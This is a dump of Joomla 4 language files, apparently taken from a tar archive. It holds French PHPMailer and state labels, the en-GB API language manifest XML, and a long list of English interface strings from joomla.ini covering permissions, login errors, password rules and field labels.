PHPMAILER_CONNECT_HOST="Erreur SMTP ! Impossible de se connecter à l'hôte SMTP."
PHPMAILER_DATA_NOT_ACCEPTED="Erreur SMTP ! Données refusées."
PHPMAILER_EMPTY_MESSAGE="Corps du message vide"
PHPMAILER_ENCODING="Encodage inconnu :"
PHPMAILER_EXECUTE="Impossible d'exécuter :"
PHPMAILER_EXTENSION_MISSING="Extension manquante :"
PHPMAILER_FILE_ACCESS="Impossible d'accéder au fichier :"
PHPMAILER_FILE_OPEN="Erreur fichier ! Impossible d'ouvrir le fichier :"
PHPMAILER_FROM_FAILED="Échec de l'adresse suivante :"
PHPMAILER_INSTANTIATE="Impossible de lancer la fonction mail"
PHPMAILER_INVALID_ADDRESS="Adresse invalide"
PHPMAILER_MAILER_IS_NOT_SUPPORTED="Mailer n'est pas supporté."
PHPMAILER_PROVIDE_ADDRESS="Vous devez saisir une adresse e-mail de destinataire."
PHPMAILER_RECIPIENTS_FAILED="Erreur SMTP ! Échec de l'adresse suivante :"
PHPMAILER_SIGNING_ERROR="Erreur de signature : "
PHPMAILER_SMTP_CONNECT_FAILED="Impossible de connecter par SMTP"
PHPMAILER_SMTP_ERROR="Erreur serveur SMTP : "
PHPMAILER_TLS="Impossible de lancer TLS"
PHPMAILER_VARIABLE_SET="Impossible d'initialiser ou de réinitialiser la variable: "
; Database types (allows for a more descriptive label than the internal name)
MYSQL="MySQL (PDO)"
MYSQLI="MySQLi"
ORACLE="Oracle"
PGSQL="PostgreSQL (PDO)"
POSTGRESQL="PostgreSQL"
SQLITE="SQLite"
; Search tools
JFILTER_OPTIONS="Filtres d'affichage"
JTABLE_OPTIONS="Liste des options"
JTABLE_OPTIONS_ORDERING="Ordonner par :"
; States assets translations
ARCHIVE="Archives"
ARCHIVED="Archivé"
PUBLISH="Publier"
PUBLISHED="Publié(s)"
TRASH="Corbeille"
TRASHED="Dans la corbeille"
UNPUBLISH="Dépublier"
UNPUBLISHED="Dépublié(s)"
language/en-GB/install.xml 0000604 00000001173 15074673665 0011430 0 ustar 00 <?xml version="1.0" encoding="utf-8"?>
<extension client="api" type="language" method="upgrade">
<name>English (en-GB)</name>
<tag>en-GB</tag>
<version>4.0.3</version>
<creationDate>September 2021</creationDate>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>(C) 2020 Open Source Matters, Inc.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<description>en-GB api language</description>
<files>
<folder>/</folder>
<filename file="meta">install.xml</filename>
</files>
<params />
</extension>
language/en-GB/langmetadata.xml 0000604 00000001606 15074673665 0012405 0 ustar 00 <?xml version="1.0" encoding="utf-8"?>
<metafile client="api">
<name>English (en-GB)</name>
<version>4.0.3</version>
<creationDate>September 2021</creationDate>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>(C) 2020 Open Source Matters, Inc.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<description><![CDATA[en-GB api language]]></description>
<metadata>
<name>English (United Kingdom)</name>
<nativeName>English (United Kingdom)</nativeName>
<tag>en-GB</tag>
<rtl>0</rtl>
<locale>en_GB.utf8, en_GB.UTF-8, en_GB, eng_GB, en, english, english-uk, uk, gbr, britain, england, great britain, uk, united kingdom, united-kingdom</locale>
<firstDay>0</firstDay>
<weekEnd>0,6</weekEnd>
<calendar>gregorian</calendar>
</metadata>
<params />
</metafile>
language/en-GB/joomla.ini 0000604 00000170235 15074673665 0011230 0 ustar 00 ; Joomla! Project
; (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8
; Common boolean values
; Note: YES, NO, TRUE, FALSE are reserved words in INI format.
; Keep this string on top
JERROR_PARSING_LANGUAGE_FILE=" : error(s) in line(s) %s"
J1="1"
J2="2"
J3="3"
J4="4"
J5="5"
J6="6"
J7="7"
J8="8"
J9="9"
J10="10"
J15="15"
J20="20"
J25="25"
J30="30"
J50="50"
J75="75"
J100="100"
J150="150"
J200="200"
J250="250"
J300="300"
J500="500"
JH1="h1"
JH2="h2"
JH3="h3"
JH4="h4"
JH5="h5"
JH6="h6"
ERROR="Error"
INFO="Info"
NOTICE="Notice"
MESSAGE="Message"
WARNING="Warning"
JACTIONS="Actions for: %s"
JADMINISTRATION="Administration"
JADMINISTRATOR="Administrator"
JALIAS="Alias"
JALL="All"
JALL_LANGUAGE="All"
JAPI="API"
JAPPLY="Save"
JARCHIVED="Archived"
JASSOCIATIONS_ASC="Associations ascending"
JASSOCIATIONS_DESC="Associations descending"
JAUTHOR="Author"
JAUTHOR_ASC="Author ascending"
JAUTHOR_DESC="Author descending"
JCANCEL="Cancel"
JCATEGORIES="Categories"
JCATEGORY="Category"
JCATEGORY_ASC="Category ascending"
JCATEGORY_DESC="Category descending"
JCATEGORY_SPRINTF="Category: %s"
JCLEAR="Clear"
JCLIENT="Location"
JCLOSE="Close"
JCONFIG_PERMISSIONS_DESC="Permissions for this component unless they are changed for a specific item."
JCONFIG_PERMISSIONS_LABEL="Permissions"
JCURRENT="Current"
JDATE="Date"
JDATE_ASC="Date ascending"
JDATE_DESC="Date descending"
JDAY="Day"
JDEFAULT="Default"
JDEFAULTLANGUAGE="Language - Default"
JDETAILS="Details"
JDISABLED="Disabled"
JENABLED="Enabled"
JFALSE="False"
JFEATURE="Feature"
JFEATURED="Featured"
JFEATURED_ASC="Featured ascending"
JFEATURED_DESC="Featured descending"
JHELP="Help"
JHIDE="Hide"
JHIDEPASSWORD="Hide Password"
JINVALID_TOKEN="The most recent request was denied because it had an invalid security token. Please refresh the page and try again."
JINVALID_TOKEN_NOTICE="The security token did not match. The request was aborted to prevent any security breach. Please try again."
JLOGIN="Log in"
JLOGOUT="Log out"
JMENU_MULTILANG_WARNING_MISSING_MODULES="An administrator menu module for <strong>%s</strong> does not exist. <br>Create a custom administrator menu and module for each administrator language or publish a menu module set to All languages."
JMODIFY="Modify"
JMONTH="Month"
JMONTH_PUBLISHED="Month (published)"
JNEVER="Never"
JNEXT="Next"
JNEXT_TITLE="Next article: %s"
JNO="No"
JNONE="None"
JOFF="Off"
JOK="OK"
JON="On"
JONLY="Only"
JOPEN="Open"
JOPTIONS="Options"
JORDERINGDISABLED="Please sort by order to enable reordering"
JPREV="Prev"
JPREVIOUS="Previous"
JPREVIOUS_TITLE="Previous article: %s"
JPROTECTED="Protected"
JPUBLISHED="Published"
JRECORD_NUMBER="Record Number"
JREGISTER="Register"
JRESET="Reset"
JSAVE="Save & Close"
JSELECT="Select"
JSHOW="Show"
JSHOWPASSWORD="Show Password"
JSITE="Site"
JSITEADMIN="Select Client"
JSTAGE="Stage"
JSTAGE_ASC="Stage ascending"
JSTAGE_DESC="Stage descending"
JSTATUS="Status"
JSTATUS_ASC="Status ascending"
JSTATUS_DESC="Status descending"
JSUBMIT="Submit"
JTAG="Tags"
JTAG_FIELD_SELECT_DESC="Select the tag to use."
JTOOLBAR="Toolbar"
JTRASH="Trash"
JTRASHED="Trashed"
JTRUE="True"
JUNARCHIVE="Remove from archive status"
JUNDEFINED="Undefined"
JUNFEATURE="Unfeature"
JUNFEATURED="Unfeatured"
JUNPROTECTED="Unprotected"
JUNPUBLISHED="Unpublished"
JVERSION="Version"
JVISIT_LINK="Visit Link"
JVISIT_WEBSITE="Visit Website"
JYEAR="Year"
JYES="Yes"
JACTION_ADMIN="Configure ACL & Options"
JACTION_ADMIN_GLOBAL="Super User"
JACTION_COMPONENT_SETTINGS="Component Settings"
JACTION_CREATE="Create"
JACTION_DELETE="Delete"
JACTION_EDIT="Edit"
JACTION_EDIT_MODULE="Edit the '%s' module"
JACTION_EDITOWN="Edit Own"
JACTION_EDITSTATE="Edit State"
JACTION_EDITVALUE="Edit Custom Field Value"
JACTION_EXECUTETRANSITION="Execute Transition"
JACTION_LOGIN_ADMIN="Administrator Login"
JACTION_LOGIN_API="Web Services Login"
JACTION_LOGIN_OFFLINE="Offline Access"
JACTION_LOGIN_SITE="Site Login"
JACTION_MANAGE="Access Administration Interface"
JACTION_MANAGEWORKFLOW="Manage Workflows"
JACTION_OPTIONS="Configure Options Only"
JACTION_UNPUBLISH="Unpublish"
JBROWSERTARGET_DOWNLOAD="Download %s in new window"
JBROWSERTARGET_MODAL="Modal"
JBROWSERTARGET_NEW="Open in new window"
JBROWSERTARGET_NEW_TITLE="Open %s in new window"
JBROWSERTARGET_PARENT="Open in parent window"
JBROWSERTARGET_POPUP="Open in popup"
JENFORCE_2FA_REDIRECT_MESSAGE="You were redirected because you are required to set up Two Factor Authentication to continue."
JERROR_ALERTNOAUTHOR="You don't have permission to access this. Please contact a website administrator if this is incorrect."
JERROR_ALERTNOTEMPLATE="The template for this display is not available."
JERROR_AN_ERROR_HAS_OCCURRED="An error has occurred."
JERROR_CORE_CREATE_NOT_PERMITTED="Create not permitted."
JERROR_CORE_DELETE_NOT_PERMITTED="Delete not permitted."
JERROR_COULD_NOT_FIND_TEMPLATE="Could not find template \"%s\"."
JERROR_INVALID_CONTROLLER="Invalid controller"
JERROR_INVALID_CONTROLLER_CLASS="Invalid controller class"
JERROR_LAYOUT_PREVIOUS_ERROR="Previous Error"
JERROR_LOADFILE_FAILED="Error loading form file"
JERROR_LOADING_MENUS="Error loading Menus: %s"
JERROR_LOGIN_DENIED="You do not have access to the Administrator section of this site."
JERROR_NO_ITEMS_SELECTED="No item(s) selected."
JERROR_NOLOGIN_BLOCKED="Login denied! Your account has either been blocked or you have not activated it yet."
JERROR_SAVE_FAILED="Could not save data. Error: %s"
JERROR_SENDING_EMAIL="Email could not be sent."
JERROR_SESSION_STARTUP="Error starting the session."
JFIELD_ACCESS_DESC="The access level group that is allowed to view this item."
JFIELD_ACCESS_LABEL="Access"
JFIELD_ALIAS_DESC="The Alias will be used as part of the URL."
JFIELD_ALIAS_LABEL="Alias"
JFIELD_ALIAS_PLACEHOLDER="Auto-generate from title"
JFIELD_ALT_COMPONENT_LAYOUT_DESC="Use a layout from the supplied component view or overrides in the templates."
JFIELD_ALT_LAYOUT_LABEL="Layout"
JFIELD_ALT_MODULE_LAYOUT_DESC="Use a layout from the supplied module or overrides in the templates."
JFIELD_ALT_PAGE_TITLE_DESC="An optional alternative page title to set that will change the TITLE tag in the HTML output."
JFIELD_ALT_PAGE_TITLE_LABEL="Alternative Page Title"
JFIELD_ASSET_ID_DESC="Asset ID"
JFIELD_ASSET_ID_LABEL="Asset ID"
JFIELD_BASIC_LOGIN_DESCRIPTION_LABEL="Login Description Text"
JFIELD_BASIC_LOGIN_DESCRIPTION_SHOW_LABEL="Login Description"
JFIELD_BASIC_LOGOUT_DESCRIPTION_LABEL="Logout Description Text"
JFIELD_BASIC_LOGOUT_DESCRIPTION_SHOW_LABEL="Logout Description"
JFIELD_CATEGORY_DESC="The category that this item is assigned to. You may select an existing category or enter a new category by typing the name in the field and pressing enter."
JFIELD_COLOR_ERROR_CONVERT_HSL="Unable to convert HSL value"
JFIELD_COLOR_ERROR_CONVERT_HUE="Unable to convert hue value"
JFIELD_COLOR_ERROR_NO_COLOR="No colour value available"
JFIELD_COLOR_ERROR_WRONG_FORMAT="Wrong format"
JFIELD_COLOR_LABEL_SLIDER_ALPHA="Alpha Slider"
JFIELD_COLOR_LABEL_SLIDER_HUE="Hue Slider"
JFIELD_COLOR_LABEL_SLIDER_INPUT="Selected Colour Value"
JFIELD_COLOR_LABEL_SLIDER_LIGHT="Light Slider"
JFIELD_COLOR_LABEL_SLIDER_SATURATION="Saturation Slider"
JFIELD_COLOR_SELECT="Select a colour"
JFIELD_COLOR_TRANSPARENT="No colour, transparent"
JFIELD_COLOR_VALUE="Colour with hexadecimal value of"
JFIELD_DISPLAY_READONLY_LABEL="Display When Read-Only"
JFIELD_ENABLED_DESC="The enabled status of this item."
JFIELD_FIELDS_CATEGORY_DESC="Select the category that this field is assigned to."
JFIELD_LANGUAGE_DESC="Assign a language to this article."
JFIELD_LANGUAGE_LABEL="Language"
JFIELD_LOGIN_IMAGE_DESC="Select or upload an image to display on login page."
JFIELD_LOGIN_IMAGE_LABEL="Login Image"
JFIELD_LOGIN_REDIRECT_URL_DESC="If a URL is entered here, users will be redirected to it after login.<br>The URL must be internal (eg: index.php?Itemid=999)."
JFIELD_LOGIN_REDIRECT_URL_LABEL="Login Redirect"
JFIELD_LOGOUT_IMAGE_DESC="Select or upload an image to display on logout page."
JFIELD_LOGOUT_IMAGE_LABEL="Logout Image"
JFIELD_LOGOUT_REDIRECT_PAGE_DESC="Select or create the page the user will be redirected to after ending their current session by logging out. The default is to stay on the same page."
JFIELD_LOGOUT_REDIRECT_PAGE_LABEL="Logout Redirection Page"
JFIELD_LOGOUT_REDIRECT_URL_DESC="If a URL is entered here, users will be redirected to it after logout.<br>The URL must be internal (eg: index.php?Itemid=999)."
JFIELD_LOGOUT_REDIRECT_URL_LABEL="Logout Redirect"
JFIELD_MEDIA_ALT_CHECK_DESC_LABEL="Decorative Image - no description required"
JFIELD_MEDIA_ALT_CHECK_LABEL="No Description"
JFIELD_MEDIA_ALT_LABEL="Image Description (Alt Text)"
JFIELD_MEDIA_DOWNLOAD_CHECK_DESC_LABEL="Use a download link"
JFIELD_MEDIA_DOWNLOAD_CHECK_LABEL="Download"
JFIELD_MEDIA_DOWNLOAD_FILE="Download {file}" ; Do not translate the text between the {}
JFIELD_MEDIA_EMBED_CHECK_DESC_LABEL="Use native elements audio, video or object"
JFIELD_MEDIA_EMBED_CHECK_LABEL="Embed"
JFIELD_MEDIA_CLASS_LABEL="Image Class"
JFIELD_MEDIA_FIGURE_CAPTION_LABEL="Figure Caption"
JFIELD_MEDIA_FIGURE_CLASS_LABEL="Figure Class"
JFIELD_MEDIA_HEIGHT_LABEL="Height"
JFIELD_MEDIA_LAZY_LABEL="Image will be lazyloaded"
JFIELD_MEDIA_SUMMARY_LABEL="Additional Data"
JFIELD_MEDIA_WIDTH_LABEL="Width"
JFIELD_MEDIA_TITLE_LABEL="Title"
JFIELD_MEDIA_UNSUPPORTED="You don't have a {extension} plugin, but you can {tag} download the {extension} file.</a>" ; Do not translate the text between the {}
JFIELD_META_DESCRIPTION_COUNTER="{remaining} characters remaining of {maxlength} characters." ; Do not translate the text between the {}
JFIELD_META_DESCRIPTION_DESC="An optional paragraph to be used as the description of the page in the HTML output. This will generally display in the results of search engines."
JFIELD_META_DESCRIPTION_LABEL="Meta Description"
JFIELD_META_KEYWORDS_DESC="An optional comma-separated list of keywords and/or phrases to be used in the HTML output."
JFIELD_META_KEYWORDS_LABEL="Keywords"
JFIELD_META_RIGHTS_DESC="Describe what rights others have to use this content."
JFIELD_META_RIGHTS_LABEL="Content Rights"
JFIELD_METADATA_AUTHOR_DESC="The author of this content."
JFIELD_METADATA_RIGHTS_DESC="Publication rights for the content."
JFIELD_METADATA_RIGHTS_LABEL="Rights"
JFIELD_METADATA_ROBOTS_DESC="Robots instructions."
JFIELD_METADATA_ROBOTS_LABEL="Robots"
JFIELD_MODULE_LANGUAGE_DESC="Assign a language to this module."
JFIELD_NAME_DESC="The name will be used to identify the field. Leave this blank and Joomla will fill in a default value from the title."
JFIELD_NAME_LABEL="Name"
JFIELD_NAME_PLACEHOLDER="Auto-generate from title"
JFIELD_NOTE_DESC="Note"
JFIELD_NOTE_LABEL="Note"
JFIELD_OPTION_NONE="None"
JFIELD_ORDERING_DESC="Select the ordering."
JFIELD_ORDERING_LABEL="Ordering"
JFIELD_PARAMS_LABEL="Options"
JFIELD_PASSWORD_INDICATE_COMPLETE="Password accepted"
JFIELD_PASSWORD_INDICATE_INCOMPLETE="Password doesn't meet site's requirements."
JFIELD_PASSWORD_NOT_ENOUGH_INTEGERS_N="Password does not have enough numbers. At least %s numbers are required."
JFIELD_PASSWORD_NOT_ENOUGH_INTEGERS_N_1="Password does not have enough numbers. At least 1 number is required."
JFIELD_PASSWORD_NOT_ENOUGH_LOWERCASE_LETTERS_N="Password does not have enough lower case characters. At least %s lower case characters are required."
JFIELD_PASSWORD_NOT_ENOUGH_LOWERCASE_LETTERS_N_1="Password does not have enough lower case characters. At least 1 lower case character is required."
JFIELD_PASSWORD_NOT_ENOUGH_SYMBOLS_N="Password does not have enough symbols (such as !@#$). At least %s symbols are required."
JFIELD_PASSWORD_NOT_ENOUGH_SYMBOLS_N_1="Password does not have enough symbols (such as !@#$). At least 1 symbol is required."
JFIELD_PASSWORD_NOT_ENOUGH_UPPERCASE_LETTERS_N="Password does not have enough upper case characters. At least %s upper case characters are required."
JFIELD_PASSWORD_NOT_ENOUGH_UPPERCASE_LETTERS_N_1="Password does not have enough upper case characters. At least 1 upper case character is required."
JFIELD_PASSWORD_RULES_CHARACTERS="Characters: %d"
JFIELD_PASSWORD_RULES_DIGITS="Numbers: %d"
JFIELD_PASSWORD_RULES_LOWERCASE="Lower Case: %d"
JFIELD_PASSWORD_RULES_MINIMUM_REQUIREMENTS="<strong>Minimum Requirements</strong> — %s"
JFIELD_PASSWORD_RULES_SYMBOLS="Symbols: %d"
JFIELD_PASSWORD_RULES_UPPERCASE="Upper Case: %d"
JFIELD_PASSWORD_SPACES_IN_PASSWORD="Password must not have spaces at the beginning or end."
JFIELD_PASSWORD_TOO_LONG="Password is too long. Passwords must be less than 100 characters."
JFIELD_PASSWORD_TOO_SHORT_N="Password is too short. Passwords must have at least %s characters."
JFIELD_PLG_SEARCH_ALL_DESC="Include published items in the search."
JFIELD_PLG_SEARCH_ALL_LABEL="Search Published"
JFIELD_PLG_SEARCH_ARCHIVED_DESC="Include archived items in the search."
JFIELD_PLG_SEARCH_ARCHIVED_LABEL="Search Archived"
JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC="Sets the maximum number of results to return."
JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL="Search Limit"
JFIELD_PUBLISHED_DESC="Set publication status."
JFIELD_READMORE_DESC="Add a custom text instead of Read More."
JFIELD_READMORE_LABEL="Read More Text"
JFIELD_SPACER_LABEL="<span style=\"width:auto\"><hr></span>"
JFIELD_TITLE_DESC="Title"
JFIELD_VERSION_HISTORY_DESC="This button allows you to open a window to view older versions of this item."
JFIELD_VERSION_HISTORY_LABEL="Prior Versions"
JFIELD_VERSION_HISTORY_SELECT="View Prior Versions"
JGLOBAL_ACTION_PERMISSIONS_LABEL="Permissions"
JGLOBAL_ADD_CUSTOM_CATEGORY="Add new Category"
JGLOBAL_ALL_ARTICLE="Max Levels Articles"
JGLOBAL_ALL_LIST="Max Levels as List"
JGLOBAL_ALLOW_COMMENTS_DESC="If Yes, viewers will be able to add and view comments for the article."
JGLOBAL_ALLOW_COMMENTS_LABEL="Allow Comments"
JGLOBAL_ALLOW_RATINGS_DESC="If Yes, viewers will be able to add and view ratings for the article."
JGLOBAL_ALLOW_RATINGS_LABEL="Allow Ratings"
JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL="Intro text Limit"
JGLOBAL_ARCHIVE_OPTIONS="Archive"
JGLOBAL_ARTICLE_COUNT_DESC="Show or hide a count of articles in each category."
JGLOBAL_ARTICLE_COUNT_LABEL="Article Count"
JGLOBAL_ARTICLE_MANAGER_ORDER="Ordering"
JGLOBAL_ARTICLE_MANAGER_REVERSE_ORDER="Ordering Reverse"
JGLOBAL_ARTICLE_ORDER_DESC="The order that articles will show in."
JGLOBAL_ARTICLE_ORDER_LABEL="Article Order"
JGLOBAL_ARTICLES="Articles"
JGLOBAL_ASSOC_NOT_POSSIBLE="To define associations, please make sure the item language is not set to 'All'."
JGLOBAL_ASSOCIATIONS_CONTENTLANGUAGE_WARNING="Some associated items are assigned to the <strong>%s</strong> Content Language but that Content Language is trashed or deleted."
JGLOBAL_ASSOCIATIONS_NEW_ITEM_WARNING="To create associations, first save the item."
JGLOBAL_ASSOCIATIONS_PROPAGATE_BUTTON="Propagate"
JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED="Failed propagating associations. You may have to select or create them manually."
JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_ALL="All existing associations have been set."
JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_NONE="No associations exist to propagate."
JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_SOME="Associations have been set for: %s"
JGLOBAL_ASSOCIATIONS_PROPAGATE_TIP="Propagates this item's existing associations."
JGLOBAL_ASSOCIATIONS_RESET_WARNING="The language has been changed. If you save this item again it will reset the available associations. If this was not intended, close the item."
JGLOBAL_AUTH_ACCESS_DENIED="Access Denied"
JGLOBAL_AUTH_ACCESS_GRANTED="Access Granted"
JGLOBAL_AUTH_BIND_FAILED="Failed binding to LDAP server"
JGLOBAL_AUTH_CANCEL="Authentication cancelled"
JGLOBAL_AUTH_CURL_NOT_INSTALLED="Curl isn't installed"
JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED="Empty password not allowed."
JGLOBAL_AUTH_FAIL="Authentication failed"
JGLOBAL_AUTH_FAILED="Failed to authenticate: %s"
JGLOBAL_AUTH_INCORRECT="Incorrect username/password"
JGLOBAL_AUTH_INVALID_PASS="Username and password do not match or you do not have an account yet."
JGLOBAL_AUTH_INVALID_SECRETKEY="The two factor authentication Secret Key is invalid."
JGLOBAL_AUTH_NO_REDIRECT="Could not redirect to server: %s"
JGLOBAL_AUTH_NO_USER="Username and password do not match or you do not have an account yet."
JGLOBAL_AUTH_NOT_CONNECT="Unable to connect to authentication service."
JGLOBAL_AUTH_NOT_CREATE_DIR="Could not create the FileStore folder %s. Please check the effective permissions."
JGLOBAL_AUTH_PASS_BLANK="LDAP can't have blank password"
JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED="Result Unknown. Access Denied"
JGLOBAL_AUTH_USER_NOT_FOUND="Unable to find user."
JGLOBAL_AUTHOR_ALPHABETICAL="Author Alphabetical"
JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL="Author Reverse Alphabetical"
JGLOBAL_AUTO="Auto"
JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND="Can't find the destination parent for this move."
JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND="Can't find the destination row for this move."
JGLOBAL_BATCH_PROCESS="Process"
JGLOBAL_BATCH_WORKFLOW_STATE_ROW_NOT_FOUND="Can't find the destination row for this state change."
JGLOBAL_BLOG="Blog"
JGLOBAL_BLOG_CLASS="Article Class"
JGLOBAL_BLOG_CLASS_LEADING="Leading Article Class"
JGLOBAL_BLOG_LAYOUT_OPTIONS="Blog Layout"
JGLOBAL_CATEGORIES_OPTIONS="Categories"
JGLOBAL_CATEGORY_LAYOUT_DESC="Layout"
JGLOBAL_CATEGORY_LAYOUT_LABEL="Choose a Layout"
JGLOBAL_CATEGORY_MANAGER_ORDER="Category Order"
JGLOBAL_CATEGORY_NOT_FOUND="Category not found"
JGLOBAL_CATEGORY_OPTIONS="Category"
JGLOBAL_CATEGORY_ORDER_DESC="The order that categories will show in."
JGLOBAL_CATEGORY_ORDER_LABEL="Category Order"
JGLOBAL_CENTER="Center"
JGLOBAL_CHECK_ALL="Check All Items"
JGLOBAL_CHOOSE_CATEGORY_DESC="Select or create a category to be displayed."
JGLOBAL_CHOOSE_CATEGORY_LABEL="Choose a Category"
JGLOBAL_CHOOSE_COMPONENT_DESC="Choose a component from the list."
JGLOBAL_CHOOSE_COMPONENT_LABEL="Choose a component"
JGLOBAL_CLICK_TO_SORT_THIS_COLUMN="Select to sort by this column"
JGLOBAL_CLICK_TO_TOGGLE_STATE="Select icon to toggle state."
JGLOBAL_CONFIRM_DELETE="Are you sure you want to delete? Confirming will permanently delete the selected item(s)!"
JGLOBAL_COPY="(copy)"
JGLOBAL_CREATED="Created"
JGLOBAL_CREATED_DATE="Created Date"
JGLOBAL_CUSTOM_CATEGORY="New Categories"
JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC="Enable the creation or editing of custom fields."
JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL="Edit Custom Fields"
JGLOBAL_DATE_FORMAT_DESC="Optional format string for showing the date. For example, D M Y for day month year or you can use d-m-y for a short version eg. 28-12-16. See https://php.net/date. If left blank, it uses DATE_FORMAT_LC1 from your language file."
JGLOBAL_DATE_FORMAT_LABEL="Date Format"
JGLOBAL_DESCRIPTION="Description"
JGLOBAL_DISPLAY_NUM="Display #"
JGLOBAL_DISPLAY_SELECT_DESC="Show or hide the Display Select dropdown listbox."
JGLOBAL_DISPLAY_SELECT_LABEL="Display Select"
JGLOBAL_EDIT_ITEM="Edit item"
JGLOBAL_EDIT_PREFERENCES="Edit Preferences"
JGLOBAL_EMAIL="Email"
JGLOBAL_EMAIL_DOMAIN_NOT_ALLOWED="The email domain <strong>%s</strong> is not allowed. Please enter another email address."
JGLOBAL_EMPTY_CATEGORIES_DESC="Show or hide categories that have no articles and no subcategories."
JGLOBAL_EMPTY_CATEGORIES_LABEL="Empty Categories"
JGLOBAL_ERROR_INSUFFICIENT_BATCH_INFORMATION="Insufficient information to perform the batch operation"
JGLOBAL_FEED_SHOW_READMORE_DESC="Displays a "Read More" link in the news feeds if Intro Text is set to Show."
JGLOBAL_FEED_SHOW_READMORE_LABEL=""Read More" Link"
JGLOBAL_FEED_SUMMARY_DESC="If set to Intro Text, only the Intro Text of each article will show in the news feed. If set to Full Text, the whole article will show in the news feed."
JGLOBAL_FEED_SUMMARY_LABEL="Include in Feed"
JGLOBAL_FEED_TITLE="News Feeds"
JGLOBAL_FIELD_ADD="Add"
JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC="Categories that are within this category will be displayed."
JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL="Select the Top Level Category"
JGLOBAL_FIELD_CATEGORIES_DESC_DESC="If you enter some text in this field, it will replace the Top Level Category Description, if it has one."
JGLOBAL_FIELD_CATEGORIES_DESC_LABEL="Alternative Description"
JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC="Uses another name than the author's for display."
JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL="Author's Alias"
JGLOBAL_FIELD_CREATED_BY_DESC="The user who created this."
JGLOBAL_FIELD_CREATED_BY_LABEL="Created By"
JGLOBAL_FIELD_CREATED_DESC="Created Date."
JGLOBAL_FIELD_CREATED_LABEL="Created Date"
JGLOBAL_FIELD_FIELD_CACHETIME_DESC="The number of minutes before the cache is refreshed."
JGLOBAL_FIELD_FIELD_ORDERING_DESC="Order items will be displayed in."
JGLOBAL_FIELD_FIELD_ORDERING_LABEL="Order"
JGLOBAL_FIELD_GROUPS="Field Groups"
JGLOBAL_FIELD_ID_DESC="Record number in the database."
JGLOBAL_FIELD_ID_LABEL="ID"
JGLOBAL_FIELD_LAYOUT_DESC="Default layout to use for items."
JGLOBAL_FIELD_LAYOUT_LABEL="Choose a Layout"
JGLOBAL_FIELD_MODIFIED_BY_DESC="The user who did the last modification."
JGLOBAL_FIELD_MODIFIED_BY_LABEL="Modified By"
JGLOBAL_FIELD_MODIFIED_LABEL="Modified Date"
JGLOBAL_FIELD_MOVE="Move"
JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_DESC="Number of categories to display for each level."
JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_LABEL="Number of Categories"
JGLOBAL_FIELD_PUBLISH_DOWN_DESC="An optional date to stop publishing."
JGLOBAL_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing"
JGLOBAL_FIELD_PUBLISH_UP_DESC="An optional date to start publishing."
JGLOBAL_FIELD_PUBLISH_UP_LABEL="Start Publishing"
JGLOBAL_FIELD_REMOVE="Remove"
JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC="Show description of the top level category or alternatively replace with the text from the description field found in the menu item. If using Root as the top level category, the description field has to be filled."
JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL="Top Level Category Description"
JGLOBAL_FIELD_VERSION_NOTE_DESC="Enter an optional note for this version of the item."
JGLOBAL_FIELD_VERSION_NOTE_LABEL="Version Note"
JGLOBAL_FIELDS="Fields"
JGLOBAL_FIELDS_TITLE="Custom Fields"
JGLOBAL_FIELDSET_ADVANCED="Advanced"
JGLOBAL_FIELDSET_ASSOCIATIONS="Associations"
JGLOBAL_FIELDSET_BASIC="Options"
JGLOBAL_FIELDSET_CONTENT="Content"
JGLOBAL_FIELDSET_DESCRIPTION="Description"
JGLOBAL_FIELDSET_DISPLAY_OPTIONS="Display"
JGLOBAL_FIELDSET_GLOBAL="Main Options"
JGLOBAL_FIELDSET_IMAGE_OPTIONS="Images"
JGLOBAL_FIELDSET_INTEGRATION="Integration"
JGLOBAL_FIELDSET_METADATA_OPTIONS="Metadata"
JGLOBAL_FIELDSET_OPTIONS="Options"
JGLOBAL_FIELDSET_PUBLISHING="Publishing"
JGLOBAL_FILTER_ATTRIBUTES_DESC="3. List additional attributes, separating each attribute name with a space or comma. For example: <em>class,title,id</em>."
JGLOBAL_FILTER_ATTRIBUTES_LABEL="Filter Attributes<sup>3</sup>"
JGLOBAL_FILTER_CLIENT="- Select Location -"
JGLOBAL_FILTER_FIELD_DESC="Show or hide a filter field for the list."
JGLOBAL_FILTER_FIELD_LABEL="Filter Field"
JGLOBAL_FILTER_GROUPS_DESC="This sets the user groups that you want filters applied to. Other groups will have no filtering performed."
JGLOBAL_FILTER_GROUPS_LABEL="Filter Groups"
JGLOBAL_FILTER_TAGS_DESC="2. List additional tags, separating each tag name with a space or comma. For example: <em>p,div,span</em>."
JGLOBAL_FILTER_TAGS_LABEL="Filter Tags<sup>2</sup>"
